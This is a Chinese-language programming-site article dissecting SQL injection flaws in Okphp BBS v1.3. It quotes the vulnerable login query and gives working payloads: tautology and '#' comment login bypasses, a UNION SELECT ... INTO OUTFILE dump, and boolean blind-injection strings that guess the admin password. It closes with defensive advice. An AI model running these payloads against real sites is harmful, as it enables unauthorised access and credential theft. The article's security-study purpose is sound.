首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

PHP+MySQL SQL 注入攻擊手法深度解析:語句構造與繞過技巧

     編輯:PHP 相關知識

聲明

本文僅供安全研究與防禦學習,所有漏洞未經驗證,重點在於分析思路與語句構造技巧。請勿用於非法用途。

目標系統:Okphp BBS v1.3 開源版

PHP+MySQL 注入較 ASP 困難,主因在於 MySQL 語法限制與 PHP 轉義機制。本文以實際代碼片段為例進行分析。

漏洞類型一:登入繞過注入

admin/login.php 代碼缺陷

$q = "select id,group_id from $user_table where username=$username and password=$password";

$username、$password 未過濾,直接拼接進 SQL。

構造技巧 1:邏輯運算永真式

$username = " OR 1=1 "
$password = " OR 1=1 "
// 產生:where username= OR 1=1 and password= OR 1=1

構造技巧 2:MySQL 註釋截斷

$username = "admin#"
// 產生:where username=admin# and password=...
// 實際執行:where username=admin

利用 # 或 /* 註釋掉後續條件。注意 $password 經 md5() 加密,技巧 1 失效,需用技巧 2。

繞過後續驗證

注入成功獲取 $row 後,代碼還有邏輯判斷:

if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) { $login = 0; }

可直接提交 $login=1 繞過,或構造滿足條件的注入載荷。

漏洞類型二:UNION 聯合查詢跨庫注入

前提條件

  • MySQL 4.0+ 支援 UNION
  • 知道對應欄位數(可用 ORDER BY N 試探)
  • 目標表結構可預測或通過 information_schema 獲取

構造載荷

$forum_id = " UNION SELECT * FROM user_table INTO OUTFILE '/path/file.txt'"
// 需 FILE 權限、知道 Web 絕對路徑、magic_quotes_gpc=off

盲注技巧:基於回應差異的布林盲注

// 猜解密碼長度
$username = "admin AND LENGTH(password)=6#"
// 猜解密碼首字元 ASCII
$username = "admin AND ORD(SUBSTRING(password,1,1))=57#"

通過頁面回應正常/異常(或內容差異)逐位爆破。

漏洞類型三:任意刪除日誌(授權缺失)

adminloglist.php 無管理員登入驗證,直接處理 del_log、log_id、del_id 參數執行 DELETE,導致任意刪除。

防禦核心原則

  1. 參數化查詢/預處理語句:徹底分離代碼與資料
  2. 最小權限原則:資料庫帳號僅授予必要權限,禁用 FILE 權限
  3. 輸入驗證與型別轉換:(int)$id、白名單驗證
  4. 錯誤資訊不外露:生產環境關閉詳細錯誤輸出
  5. WAF/輸入過濾:作為纵深防禦補充,非唯一依賴
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved